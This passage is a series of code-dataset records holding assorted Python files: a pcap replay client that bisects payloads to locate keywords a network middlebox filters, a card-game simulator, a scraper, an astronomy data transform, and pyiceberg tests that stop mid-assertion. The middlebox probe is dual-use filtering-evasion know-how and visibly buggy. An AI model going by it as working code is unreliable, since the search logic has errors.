+{"seq_id":"605478085","text":"__author__ = 'dk'\n'''\n    带内通信信道,主要实现客户端中数据包的重放流程\n'''\nfrom  Replay import Replay\nfrom python_lib import  SOCKET,randomize\nfrom hash import  hash_int\nfrom  threading import  Semaphore\nimport  copy\nfrom dbtool import MongoDBase\nfrom config import config\nimport  requests\nimport time\nfrom  threading import  Thread\nclass Replay_Client(Replay):\n    def __init__(self,pcap_name,pcap_client_ip,replay_server_ip,replay_server_start_port=None):\n        super(Replay_Client,self).__init__(pcap_name,pcap_client_ip)\n        self.replay_server_ip = replay_server_ip    #把数据包重放到这个ip主机上\n        if replay_server_start_port ==None:\n            #起始端口\n            self.replay_server_start_port = self.stream['c2s'][0]['dst_port']\n        else:\n            self.replay_server_start_port = replay_server_start_port\n        self.go_through_semapher = Semaphore(value=1)\n        self.keyword=set()#{{\"start\":,\"len\":,\"packet_id\":,\"content\":,}}\n        self.keyword_db = MongoDBase(ip=config['mongodb_ip'],tablename='keyword')\n        self.recv_set=set()\n\n    def replay(self,replay_port=None):\n        if replay_port==None:\n            port = self.replay_server_start_port\n        self.sock = SOCKET(proto=self.stream['c2s'][0]['proto'],role='client',ip=self.replay_server_ip,port=port)\n        self.current_bidirection_packet_id  = 1   #目前双向通信的 packet id\n        self.current_single_curse_packet_id = 0\n        self.thread = Thread(target=self.recv_thread)\n        self.thread.start()\n        while self.current_single_curse_packet_id < len(self.stream['c2s']):\n            payload = copy.deepcopy(self.stream['c2s'][self.current_single_curse_packet_id]['payload'])\n            self.sock.send(payload)\n            #检查是否服务端是否收到数据包\n            hash_value =hash_int(payload)\n            packet_id = self.payload_hash_to_id.get(hash_value,0)\n            if self.server_checker(packet_id,hash_value)==True:\n                #原始数据包就可以直接通过,那么处理下一个client端的数据包\n                while (packet_id +1) in self.server_packets_id and (packet_id +1) not in self.recv_set:\n                    time.sleep(0.05)\n                    print('wait for next packet from server...')\n\n            else:\n                #原始数据包被拦截\n                keyword_start,keyword_len = self.search_keyword(0,len(payload),payload,packet_id)\n                for i in range(len(keyword_start)):\n                    keyword={\"start\":keyword_start[i],\"len\":keyword_len[i],\"packet_id\":packet_id,\"content\":payload[keyword_start:(keyword_start+keyword_len)]}\n                    self.keyword.add(keyword)\n                    self.keyword_db.insert(keyword)\n            self.current_single_curse_packet_id += 1\n        self.thread.join()\n        self.sock.close()\n    def search_keyword(self,l,r,payload,packet_id):\n        if l+1==r:\n            return l,1\n        if l<r :\n            mid = (l+r)/2\n            payload_left_modified = randomize(payload,l,mid)\n            self.sock.send(payload_left_modified)\n            hash_value_left = hash_int(payload_modified)\n            payload_right_modified=randomize(payload,mid+1,r)\n            self.sock.send(payload_right_modified)\n            hash_value_right = hash_int(payload_right_modified)\n            #Divide into 2 sepearate branches\n            if self.server_checker(packet_id,hash_value_left) == False:\n                #Never go through middle box,means payload left contains keyword\n                lkeyword_start,lkeyword_len_=self.search_keyword(l,mid,payload,packet_id)\n            else:\n                lkeyword_start,lkeyword_len=[l],[0]\n            if self.search_keyword(packet_id,hash_value_right)==False:\n                #Means payload right contains keyword\n                rkeyword_start,rkeyword_len =self.search_keyword(mid+1,r,payload,packet_id)\n            else:\n                rkeyword_start,rkeyword_len=[mid+1],[0]\n            #Merge 2 seperate branches\n            keyword_start=[]\n            keyword_end=[]\n            for i in range(len(lkeyword_start)):\n                if lkeyword_len[i]!=0:\n                    keyword_start.append(lkeyword_start[i])\n                    keyword_end.append(lkeyword_len[i]+lkeyword_start[i])\n            for i in range(len(rkeyword_start)):\n                if rkeyword_len[i]!=0:\n                    keyword_start.append(rkeyword_start[i])\n                    keyword_end.append(rkeyword_len[i]+rkeyword_start[i])\n            i=0\n            while True:\n                if i >=len(keyword_start):\n                    break\n                if (i+1)<len(keyword_start) and keyword_end[i] == keyword_start[i+1] :\n                    tmp=keyword_end[i+1]\n                    keyword_start.remove(keyword_start[i+1])\n                    keyword_end.remove(tmp)\n                    keyword_end[i]=tmp\n                else:\n                    i=i+1\n            for i in range(0,len(keyword_start)):\n                keyword_end[i]=keyword_end[i]-keyword_start[i]\n            return keyword_start,keyword_end\n    def server_checker(self,packet_id,hash_value):\n        #到达返回true\n        request_url = 'http://%s:%s%s'%(config['outbound_ip'],config['outbound_port'],config['outbound_url'])\n        jdata ={'packet_id':packet_id,'hash_value':hash_value}\n        response = requests.post(request_url,json=jdata)\n        return response.json()['result']\n    def sender_thread(self):\n        pass\n    def recv_thread(self):\n        index = 0\n        while True:\n                data = self.sock.recv(len(self.stream['s2c'][index]['payload']))\n                if data:\n                    #收到了重放的响应数据包\n                    hash_value = hash_int(data)\n                    packet_id = self.server_payload_hash_to_id.get(hash_value,0)\n                    if packet_id > 0:\n                        self.recv_set.add(packet_id)\n                        print('recv: {id:%d,hash:%d}'%(packet_id,hash_value))\n                        index+=1\n                else:\n                    self.sock.close()\n                    break\nif __name__ == '__main__':\n    client =Replay_Client(pcap_name='Youtube_no_retransmits.pcap',pcap_client_ip=\"172.20.161.222\",replay_server_ip=config['outbound_ip'])\n    client.replay()\n","sub_path":"CMiddlebox_Inbound_Client.py","file_name":"CMiddlebox_Inbound_Client.py","file_ext":"py","file_size_in_byte":6353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"206173137","text":"import os\n\nfile_root = '/media/yangshun/0008EB70000B0B9F/roi_roi/txt_result/new/fpnc'\n\ncar_stats = os.path.join(file_root, 'stats_car_detection.txt')\ncyclist_stats = os.path.join(file_root, 'stats_cyclist_detection.txt')\npedestrian_stats = os.path.join(file_root, 'stats_pedestrian_detection.txt')\n\n\ndef caculate_average(txt_name):\n    print(txt_name)\n    with open(txt_name, 'rb') as f:\n        lines = f.readlines()\n        for line in lines:\n            nums = line.strip().split(\" \")\n            sum = 0\n            for i in range(0, 41, 4):\n                sum += float(nums[i])\n            average = sum/11.0\n            print(average)\nif os.path.exists(car_stats):\n    caculate_average(car_stats)\nif os.path.exists(pedestrian_stats):\n    caculate_average(pedestrian_stats)\nif os.path.exists(cyclist_stats):\n    caculate_average(cyclist_stats)\n\n\n","sub_path":"kitti_evaluation/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"304969372","text":"def computepay(h,r):\n    hr=float(h)\n    rt=float(r)\n    if hr>40:\n        return ((40*rt)+(hr-40)*(rt*1.5))\n    else:\n    \treturn 40*rt\n\nhrs = input(\"Enter Hours:\")\nrate= input(\"enter rate:\")\np = computepay(hrs,rate)\nprint(\"Pay\",p)","sub_path":"PY4E/Chapter4_Functions.py","file_name":"Chapter4_Functions.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"257691772","text":"import asyncio\nimport logging\nimport threading\n\nimport websockets\nfrom websockets import WebSocketServerProtocol\n#import matplotlib\nimport logsreader\nlogging.basicConfig(level=logging.INFO)\nSERVER = '192.168.43.196'\nPORT = \"5050\"\n\n\nclass Web_client():\n\n    def __init__(self, ipaddres, port):\n        self.ipaddr = ipaddres\n        self.port = port\n        self.websocket_resourse_url = f\"ws://{SERVER}:{PORT}/web\"\n\n    async def handler(self, websocket: WebSocketServerProtocol) -> None:\n        consumer_task = asyncio.ensure_future(\n            self.consumer_handler(websocket))\n        producer_task = asyncio.ensure_future(\n            self.producer_handler(websocket))\n        done, pending = await asyncio.wait(\n            [consumer_task, producer_task],\n            return_when=asyncio.FIRST_COMPLETED,\n        )\n        for task in pending:\n            task.cancel()\n\n    async def consumer_handler(self,websocket: WebSocketServerProtocol):\n        async for message in websocket:\n            await self.consumer(message)\n\n    async def consumer(self, message):\n        await asyncio.sleep(0.0001)\n        gui.web_message_buffer.append(message)\n        # await gui.drawframe(message)\n        #self.log_message(message)\n\n    async def producer_handler(self,websocket: WebSocketServerProtocol):\n        while True:\n            await asyncio.sleep(0.0001)\n            message = await self.producer()\n            # await websocket.send(message)\n\n    async def producer(self):\n       await asyncio.sleep(0.0001)\n\n    def log_message(self,message: str) -> None:\n        logging.info(f\"Message:{message}\")\n\n    async def connect(self):\n        async with websockets.connect(self.websocket_resourse_url) as ws:\n            await self.handler(ws)\n\n\ndef asyncio_thread(async_loop):\n    async_loop.run_until_complete(client.connect())\n\n\nif __name__ == '__main__':\n    gui = logsreader.peers_gui()\n    client = Web_client(\"192.168.0.174\", \"5050\")\n    loop = asyncio.get_event_loop()\n    threading.Thread(target=asyncio_thread, args=(loop,)).start()\n    # loop.run_until_complete(client.connect())\n    # gui.tk.update()\n    # loop.create_task(gui.tk.mainloop())\n    # loop.create_task()\n    gui.tk.mainloop()\n    # loop.run_forever()\n\n","sub_path":"websocket_client.py","file_name":"websocket_client.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"605755337","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport pandas as pd\nimport json\n\nquery = {\"cntChart\":500,\"mcqTyp\":0}\nresponse = requests.get(\"https://e.csc108.com/hq/resource/symbols/3/000002/2/1/ohlcs?\", params=query)#, params = payload\n#response.encoding = \"gbk\"\nresponse.encoding = \"utf-8\"\nstatus = response.status_code\nprint(\"status_code:%s, type:%s\"%(status, type(status)))\nsoup = BeautifulSoup(response.text, \"html.parser\")\n'''\nprint(type(soup.string))\nprint('\\n')\nprint(type(soup.text))\nprint('\\n')\nprint(\"len_text:%s\"%len(soup.text))\nprint('\\n')\nprint(\"len_string:%s\"%len(soup.string))\n'''\n\ndata_list = json.loads(soup.text)\n#print(\"解析后的数据类型----%s\"%type(data_list))\n#print(\"数据长度----%s\"%len(data_list))\n\n#print(data_list)\n#print(\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n\")\n#print(data_list[0])\n#keys = list(data_list.keys())\n#print(keys[8])\n#main_data = list(data_list.values())[8]\nprint(data_list.keys())\nmain_data = data_list.get('chartInfLst')\n#print(len(main_data))\n'''\nprint(\"main_data_type:%s\"%type(main_data))\nprint(\"main_data[0]_type:%s\"%type(main_data[0]))\nprint(\"\\n\")\nprint(main_data[0])\nprint(\"\\n\")\nprint(main_data[0].values())\nprint(\"\\n\",type(main_data[0].values()))\nprint(\"\\n\", list(main_data[0].values()))\n'''\ndf = pd.DataFrame(columns = main_data[0].keys())\nbaseDate = data_list.get('baseDate')\nprint(\"baseDate==%s\"%baseDate)\n\nfor i in range(len(main_data)):\n    df.loc[i] = list(main_data[i].values()) \n    df.at[i, 'baseDate'] = baseDate\nprint(df.head())\nprint(\"\\n num==%s\"%len(df))\n'''\nfilepath = \"E:\\\\Project\\\\test\\\\zhongxin_spider\\\\stock_data\\\\\"\nfilename = filepath + str(code) + '.csv'\n\nwith open(filename, \"w\") as f:\n    df.to_csv(f)\n'''\n","sub_path":"spider/zhongxin_spider/zhongxin-spider-demo.py","file_name":"zhongxin-spider-demo.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"213266517","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Aug  5 15:09:27 2019\r\n\r\n@author: usuari\r\n\"\"\"\r\n\r\nimport pandas as pd\r\n\r\nfive = pd.read_csv(\"C:/Users/usuari/Documents/idaea/MSY_2017/N_UFP_5min.csv\", sep=';')\r\nfive.set_index(five.date,inplace=True)\r\nfive = five.drop('date',axis=1)\r\n\r\nfive.index = pd.to_datetime(five.index,format='%d/%m/%Y %H:%M')\r\n\r\nhourly = five.resample('1H').mean()\r\n\r\nhourly.to_csv('C:/Users/usuari/Documents/idaea/MSY_2017/N_UFP_hourly.csv', sep=';')\r\n","sub_path":"5min to 1h.py","file_name":"5min to 1h.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"468043169","text":"\"\"\"\nInstalls dependencies for the project.\nSupports the windows and osx operating systems.\n\"\"\"\n\nfrom pip._internal.cli import main\nimport sys\n\ndef install_packages(package_names):\n    \"\"\"\n    Installs all the packages in the package_names\n    :param package_names: list of all the packages\n    \"\"\"\n    for package in package_names:\n        ret=main.main([\"install\", package])\n        if ret != 0:\n            raise Exception(\"Installation failed.Check logs\")\n\n# Packages common in all the Operating systems.\ncommon_packages=[\"requests\",\"pywebview\",\n                 \"pyinstaller\"]\n# Packages specific for windows\nWindows_packages=[]\n# Pakcages specific for OSX\nOSX_Packages=[]\ndef check_prerequisites():\n    \"\"\"\n    Checks if all the requirements are satisfied\n    \"\"\"\n    pass\n\nif __name__ == '__main__':\n    # Install the common packages\n    install_packages(common_packages)\n    # Install OS dependent packages\n    if sys.platform == \"win32\":\n        install_packages(Windows_packages)\n    elif sys.platform == \"darwin\":\n        install_packages(OSX_Packages)\n    else:\n        raise Exception(\"Platform not supported\")","sub_path":"SectionWiseContent/Section2/CrossPlatformApp/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"578000911","text":"import random\nfrom blessings import Terminal\nterm = Terminal()\nimport os\nimport time\nstarttime=time.time()\nos.system(\"clear\")\ndebugoutput=False\ncardnumdebugoutput=True\nclass card2():\n    worth = 2\n    kind=2\nclass card3():\n    worth = 3\n    kind=3\nclass card4():\n    worth = 4\n    kind=4\nclass card5():\n    worth = 5\n    kind=5\nclass card6():\n    worth = 6\n    kind=6\nclass card7():\n    worth = 7\n    kind=7\nclass card8():\n    worth = 8\n    kind=8\nclass card9():\n    worth = 9\n    kind=9\nclass card10():\n    worth = 10\n    kind=10\nclass cardjack():\n    worth = 11\n    kind='Jack'\nclass cardqueen():\n    worth = 12\n    kind='Queen'\nclass cardking():\n    worth = 13\n    kind=\"King\"\nclass cardace():\n    worth = 14\n    kind=\"Ace\"\ncardtypes=[card2,card3,card4,card5,card6,card7,card8,card9,card10,cardjack,cardqueen,cardking,cardace]\ntmp_deck=[]\nfor i in cardtypes:\n    for l in range(0, 4):\n        tmp_deck.append(i)\nshuffled_deck=[]\nwelcome_message = '===== Welcome to Robot War ===== \\n' \\\n                  '===== A Program that makes computer play the War Card game over and over=====\\n' \\\n                  'Written by TechdudeGames (Brennan Romero)\\n'\nprint(welcome_message)\np1wins = 0\np2wins = 0\ndraws = 0\nplays = 0\nwhile True:\n    if debugoutput : print(\"Shuffling the cards...\")\n    shuffled_deck = []\n    for shufflenumber in range(0, 10):\n        while tmp_deck.__len__() != 0:\n            index = random.randint(0, len(tmp_deck) - 1)\n            selection = tmp_deck[index]\n            shuffled_deck.append(tmp_deck[index])\n            tmp_deck.remove(selection)\n        tmp_deck = shuffled_deck\n        shuffled_deck = []\n    tmp_deck.reverse()\n    shuffled_deck = list(tmp_deck)  # Note, the top of the list is now the last index.\n\n    if debugoutput : print(\"Shuffled the cards\")\n    if debugoutput : print(\"Divying them up...\")\n    playerone = shuffled_deck[0:int(len(shuffled_deck) / 2)]\n    playertwo = shuffled_deck[int(len(shuffled_deck) / 2):]\n    if debugoutput : print(\"Players have their cards now.\")\n    if debugoutput : print(\"The match has now started.\\n\\n\")\n    numberofrounds = 1\n    cancontinue = True\n    while (len(playerone) != 0 and len(playertwo) != 0) and cancontinue:\n        p1c = playerone.pop()\n        p2c = playertwo.pop()\n        p1cw = p1c.worth\n        p2cw = p2c.worth\n        if debugoutput : print(\"Player one's card:\", p1c.kind)\n        if debugoutput : print(\"Player two's card:\", p2c.kind)\n        if p1cw > p2cw:\n            if debugoutput : print(\"Player One wins round %i\" % numberofrounds)\n            playerone.insert(0, p1c)\n            playerone.insert(0, p2c)\n        elif p2cw > p1cw:\n            if debugoutput : print(\"Player Two wins round %i\" % (numberofrounds))\n            playertwo.insert(0, p2c)\n            playertwo.insert(0, p1c)\n        elif p2cw == p1cw:\n            if debugoutput : print(\"Let us go to war!\")\n            cardpot = []\n            iswinner = False\n            while (True != iswinner):\n                cardpot.append(p1c)\n                cardpot.append(p2c)\n                if playerone.__len__() < 4:\n                    if playertwo.__len__() < 4:\n                        if debugoutput : print(\"And it appears both parties ran of of cards to play.\")\n                        cancontinue = False\n                        draws+=1\n                        break\n                    else:\n                        if debugoutput : print(\"Player One has run out of cards to properly play war, therefor Player Two has won the game!\")\n                        p2wins += 1\n                        cancontinue = False\n                        break\n                elif playertwo.__len__() < 4:\n                    if debugoutput : print(\"Player Two has run out of playable cards to properly play war, therefor Player One has won the game!\")\n                    p1wins += 1\n                    cancontinue = False\n                    break\n                else:\n                    for i in range(0, 3):\n                        cardpot.append(playerone.pop())\n                        cardpot.append(playertwo.pop())\n                    p1c = playerone.pop()\n                    p2c = playertwo.pop()\n                    p1cw = p1c.worth\n                    p2cw = p2c.worth\n                    if debugoutput : print(\"Player one's card:\", p1c.kind)\n                    if debugoutput : print(\"Player two's card:\", p2c.kind)\n                    if p1cw > p2cw:\n                        if debugoutput : print(\"Player One wins the war on round %i\" % numberofrounds)\n                        iswinner = True\n                        playerone.insert(0, p1c)\n                        playerone.insert(0, p2c)\n                        for card in cardpot:\n                            playerone.insert(0, card)\n                    elif p2cw > p1cw:\n                        if debugoutput : print(\"Player Two wins the war on round %i\" % (numberofrounds))\n                        iswinner = True\n                        playertwo.insert(0, p1c)\n                        playertwo.insert(0, p2c)\n                        for card in cardpot:\n                            playertwo.insert(0, card)\n\n        numberofrounds += 1\n        with term.location(y=5):\n            if cardnumdebugoutput : print(\"Number of cards in Player One's Deck: %i\" % playerone.__len__())\n            if cardnumdebugoutput : print(\"Number of cards in Player Two's Deck: %i \\n\\n\" % playertwo.__len__())\n    if playerone.__len__() == 0 and cancontinue == True:\n        if debugoutput : print(\"Player Two has won the Game!\")\n        p2wins += 1\n    elif playertwo.__len__() == 0  and cancontinue == True:\n        if debugoutput : print(\"Player One has won the Game\")\n        p1wins += 1\n    plays += 1\n    with term.location(0,10):\n        print(\"Player One has won %f percent of the time       \" %float(p1wins*100 / plays))\n        print(\"Player Two has won %f percent of the time       \" %float(p2wins*100 / plays))\n        print(\"There has been a draw %f percent of the time     \\n\" %float(draws / plays) )\n        print(\"Player One has won %i times\" %p1wins)\n        print(\"Player Two has won %i times\" %p2wins)\n        print(\"There have been %i draws\" %draws)\n        print(\"The game has been played %i times\" %plays)\n        elapsted_seconds = time.time()-starttime\n        days = int(elapsted_seconds//86400)\n        hours = int(elapsted_seconds//3600 - days * 24)\n        minutes = int(elapsted_seconds//60 - hours * 60)\n        seconds = int(elapsted_seconds - minutes * 60)\n        print(\"Time Elapsed: \", days, \":\", hours, \":\", minutes, \":\", seconds)\n","sub_path":"Statistical War.py","file_name":"Statistical War.py","file_ext":"py","file_size_in_byte":6597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"486413665","text":"import numpy as np\nfrom classy_vision.dataset.transforms import register_transform\nfrom classy_vision.dataset.transforms.classy_transform import ClassyTransform\nfrom typing import Any, Dict\n\n\n@register_transform(\"ReddeningDecals\")\nclass ReddeningDecals(ClassyTransform):\n    '''Redden image with random sampling of ebv.\n    \n    A lognormal fit matches the measured E(B-V) distribution better than Gaussian. Fit with scipy,\n    which has a different paramaterization of the log normal than numpy.random \n    (see https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.lognorm.html):\n    \n    shape, loc, scale -> np.random.lognormal(np.log(scale), shape, size=1) + loc\n\n    # (min, max)=(0.00, 1.0), Lognormal fit (shape, loc, scale)=(0.67306, 0.001146, 0.03338)\n    '''\n\n    def __init__(self, uniform, filters_use, ebv_max):\n        self.uniform = uniform\n\n        self.filters_use = filters_use\n\n        # Log normal fit paramaters\n        self.shape_dist = 0.67306\n        self.loc_dist = 0.001146\n        self.scale_dist = 0.03338\n\n        self.sigma_dist  = np.log(self.scale_dist)\n\n        self.ebv_min = 0.00\n        self.ebv_max = ebv_max\n\n    def ebv_to_transmission(self, ebv):\n        # ebv to transmission is just a simple power law I fit for each band - works perfectly\n        # (I couldnt figure it out from reference paper https://ui.adsabs.harvard.edu/abs/1998ApJ...500..525S/abstract)\n\n        # ebv = Galactic extinction E(B-V) reddening from SFD98, used to compute MW_TRANSMISSION\n        # transmission = Galactic transmission in g filter in linear units [0,1]\n        filters   = ['g', 'r', 'z', 'W1', 'W2']\n        exponents = np.array([-1.2856, -0.866, -0.4844, -0.0736, -0.04520])\n\n        nfilters     = len(filters)\n        nfilters_use = len(self.filters_use)\n\n        exponents = {filters[i]: exponents[i] for i in range(nfilters)}\n        exponents_use  = np.array([exponents[fi] for fi in self.filters_use])\n\n        transmission_ebv = 10**(ebv*exponents_use)\n\n        return transmission_ebv\n\n    def __call__(self, image):\n        # Random ebv sampled from lognormal\n        if self.uniform:\n            new_ebv = np.random.uniform(0, self.ebv_max)\n        else:\n            new_ebv = np.random.lognormal(self.sigma_dist, self.shape_dist) + self.loc_dist\n\n        new_transmission = self.ebv_to_transmission(new_ebv)\n        return np.float32(image * new_transmission)\n\n    @classmethod\n    def from_config(cls, config: Dict[str, Any]) -> \"ReddeningDecals\":\n        \"\"\"\n        Instantiates ReddeningDecals from configuration.\n\n        Args:\n            config (Dict): arguments for for the transform\n\n        Returns:\n            ReddeningDecals instance.\n        \"\"\"\n        uniform=config['uniform'] # default: False\n        filters_use=config['filters_use'] # default: ['g', 'r', 'z']\n        ebv_max=config['ebv_max'] # default: 1.0\n        return cls(uniform=uniform, filters_use=filters_use, ebv_max=ebv_max)\n","sub_path":"vissl/data/ssl_transforms/reddening_decals.py","file_name":"reddening_decals.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"82723946","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# pylint: disable=eval-used,protected-access\nfrom decimal import Decimal\nfrom uuid import UUID\n\nimport mmh3 as mmh3\nimport pytest\n\nfrom pyiceberg import transforms\nfrom pyiceberg.transforms import (\n    BucketTransform,\n    DayTransform,\n    HourTransform,\n    IdentityTransform,\n    MonthTransform,\n    Transform,\n    TruncateTransform,\n    UnknownTransform,\n    VoidTransform,\n    YearTransform,\n)\nfrom pyiceberg.types import (\n    BinaryType,\n    BooleanType,\n    DateType,\n    DecimalType,\n    DoubleType,\n    FixedType,\n    FloatType,\n    IntegerType,\n    LongType,\n    StringType,\n    TimestampType,\n    TimestamptzType,\n    TimeType,\n    UUIDType,\n)\nfrom pyiceberg.utils.datetime import (\n    date_to_days,\n    time_to_micros,\n    timestamp_to_micros,\n    timestamptz_to_micros,\n)\nfrom pyiceberg.utils.iceberg_base_model import IcebergBaseModel\n\n\n@pytest.mark.parametrize(\n    \"test_input,test_type,expected\",\n    [\n        (1, IntegerType(), 1392991556),\n        (34, IntegerType(), 2017239379),\n        (34, LongType(), 2017239379),\n        (date_to_days(\"2017-11-16\"), DateType(), -653330422),\n        (time_to_micros(\"22:31:08\"), TimeType(), -662762989),\n        (\n            timestamp_to_micros(\"2017-11-16T22:31:08\"),\n            TimestampType(),\n            -2047944441,\n        ),\n        (\n            timestamptz_to_micros(\"2017-11-16T14:31:08-08:00\"),\n            TimestamptzType(),\n            -2047944441,\n        ),\n        (b\"\\x00\\x01\\x02\\x03\", BinaryType(), -188683207),\n        (b\"\\x00\\x01\\x02\\x03\", FixedType(4), -188683207),\n        (\"iceberg\", StringType(), 1210000089),\n        (UUID(\"f79c3e09-677c-4bbd-a479-3f349cb785e7\"), UUIDType(), 1488055340),\n    ],\n)\ndef test_bucket_hash_values(test_input, test_type, expected):\n    assert BucketTransform(num_buckets=8).transform(test_type, bucket=False)(test_input) == expected\n\n\n@pytest.mark.parametrize(\n    \"transform,value,expected\",\n    [\n        (BucketTransform(100).transform(IntegerType()), 34, 79),\n        (BucketTransform(100).transform(LongType()), 34, 79),\n        (BucketTransform(100).transform(DateType()), 17486, 26),\n        (BucketTransform(100).transform(TimeType()), 81068000000, 59),\n        (BucketTransform(100).transform(TimestampType()), 1510871468000000, 7),\n        (BucketTransform(100).transform(DecimalType(9, 2)), Decimal(\"14.20\"), 59),\n        (BucketTransform(100).transform(StringType()), \"iceberg\", 89),\n        (\n            BucketTransform(100).transform(UUIDType()),\n            UUID(\"f79c3e09-677c-4bbd-a479-3f349cb785e7\"),\n            40,\n        ),\n        (BucketTransform(128).transform(FixedType(3)), b\"foo\", 32),\n        (BucketTransform(128).transform(BinaryType()), b\"\\x00\\x01\\x02\\x03\", 57),\n    ],\n)\ndef test_buckets(transform, value, expected):\n    assert transform(value) == expected\n\n\n@pytest.mark.parametrize(\n    \"type_var\",\n    [\n        BinaryType(),\n        DateType(),\n        DecimalType(8, 5),\n        FixedType(8),\n        IntegerType(),\n        LongType(),\n        StringType(),\n        TimestampType(),\n        TimestamptzType(),\n        TimeType(),\n        UUIDType(),\n    ],\n)\ndef test_bucket_method(type_var):\n    bucket_transform = BucketTransform(8)\n    assert str(bucket_transform) == str(eval(repr(bucket_transform)))\n    assert bucket_transform.can_transform(type_var)\n    assert bucket_transform.result_type(type_var) == IntegerType()\n    assert bucket_transform.num_buckets == 8\n    assert bucket_transform.apply(None) is None\n    assert bucket_transform.to_human_string(type_var, \"test\") == \"test\"\n\n\ndef test_string_with_surrogate_pair():\n    string_with_surrogate_pair = \"string with a surrogate pair: 💰\"\n    as_bytes = bytes(string_with_surrogate_pair, \"UTF-8\")\n    bucket_transform = BucketTransform(100).transform(StringType(), bucket=False)\n    assert bucket_transform(string_with_surrogate_pair) == mmh3.hash(as_bytes)\n\n\n@pytest.mark.parametrize(\n    \"date,date_transform,expected\",\n    [\n        (47, YearTransform(), \"2017\"),\n        (575, MonthTransform(), \"2017-12\"),\n        (17501, DayTransform(), \"2017-12-01\"),\n    ],\n)\ndef test_date_to_human_string(date, date_transform, expected):\n    assert date_transform.to_human_string(DateType(), date) == expected\n\n\n@pytest.mark.parametrize(\n    \"date_transform\",\n    [\n        YearTransform(),\n        MonthTransform(),\n        DayTransform(),\n    ],\n)\ndef test_none_date_to_human_string(date_transform):\n    assert date_transform.to_human_string(DateType(), None) == \"null\"\n\n\ndef test_hour_to_human_string():\n    assert HourTransform().to_human_string(TimestampType(), None) == \"null\"\n    assert HourTransform().to_human_string(TimestampType(), 420042) == \"2017-12-01-18\"\n\n\n@pytest.mark.parametrize(\n    \"negative_value,time_transform,expected\",\n    [\n        (-1, YearTransform(), \"1969\"),\n        (-1, MonthTransform(), \"1969-12\"),\n        (-1, DayTransform(), \"1969-12-31\"),\n        (-1, HourTransform(), \"1969-12-31-23\"),\n    ],\n)\ndef test_negative_value_to_human_string(negative_value, time_transform, expected):\n    assert time_transform.to_human_string(TimestampType(), negative_value) == expected\n\n\n@pytest.mark.parametrize(\n    \"type_var\",\n    [\n        DateType(),\n        TimestampType(),\n        TimestamptzType(),\n    ],\n)\ndef test_time_methods(type_var):\n    assert YearTransform().can_transform(type_var)\n    assert MonthTransform().can_transform(type_var)\n    assert DayTransform().can_transform(type_var)\n    assert YearTransform().preserves_order\n    assert MonthTransform().preserves_order\n    assert DayTransform().preserves_order\n    assert YearTransform().result_type(type_var) == IntegerType()\n    assert MonthTransform().result_type(type_var) == IntegerType()\n    assert DayTransform().result_type(type_var) == DateType()\n    assert YearTransform().dedup_name == \"time\"\n    assert MonthTransform().dedup_name == \"time\"\n    assert DayTransform().dedup_name == \"time\"\n\n\n@pytest.mark.parametrize(\n    \"transform,type_var,value,expected\",\n    [\n        (DayTransform(), DateType(), 17501, 17501),\n        (DayTransform(), DateType(), -1, -1),\n        (MonthTransform(), DateType(), 17501, 575),\n        (MonthTransform(), DateType(), -1, -1),\n        (YearTransform(), DateType(), 17501, 47),\n        (YearTransform(), DateType(), -1, -1),\n        (YearTransform(), TimestampType(), 1512151975038194, 47),\n        (YearTransform(), TimestampType(), -1, -1),\n        (MonthTransform(), TimestamptzType(), 1512151975038194, 575),\n        (MonthTransform(), TimestamptzType(), -1, -1),\n        (DayTransform(), TimestampType(), 1512151975038194, 17501),\n        (DayTransform(), TimestampType(), -1, -1),\n    ],\n)\ndef test_time_apply_method(transform, type_var, value, expected):\n    assert transform.transform(type_var)(value) == expected\n\n\n@pytest.mark.parametrize(\n    \"type_var\",\n    [\n        TimestampType(),\n        TimestamptzType(),\n    ],\n)\ndef test_hour_method(type_var):\n    assert HourTransform().can_transform(type_var)\n    assert HourTransform().result_type(type_var) == IntegerType()\n    assert HourTransform().transform(type_var)(1512151975038194) == 420042\n    assert HourTransform().dedup_name == \"time\"\n\n\n@pytest.mark.parametrize(\n    \"transform,other_transform\",\n    [\n        (YearTransform(), MonthTransform()),\n        (YearTransform(), DayTransform()),\n        (YearTransform(), HourTransform()),\n        (MonthTransform(), DayTransform()),\n        (MonthTransform(), HourTransform()),\n        (DayTransform(), HourTransform()),\n    ],\n)\ndef test_satisfies_order_of_method(transform, other_transform):\n    assert transform.satisfies_order_of(transform)\n    assert other_transform.satisfies_order_of(transform)\n    assert not 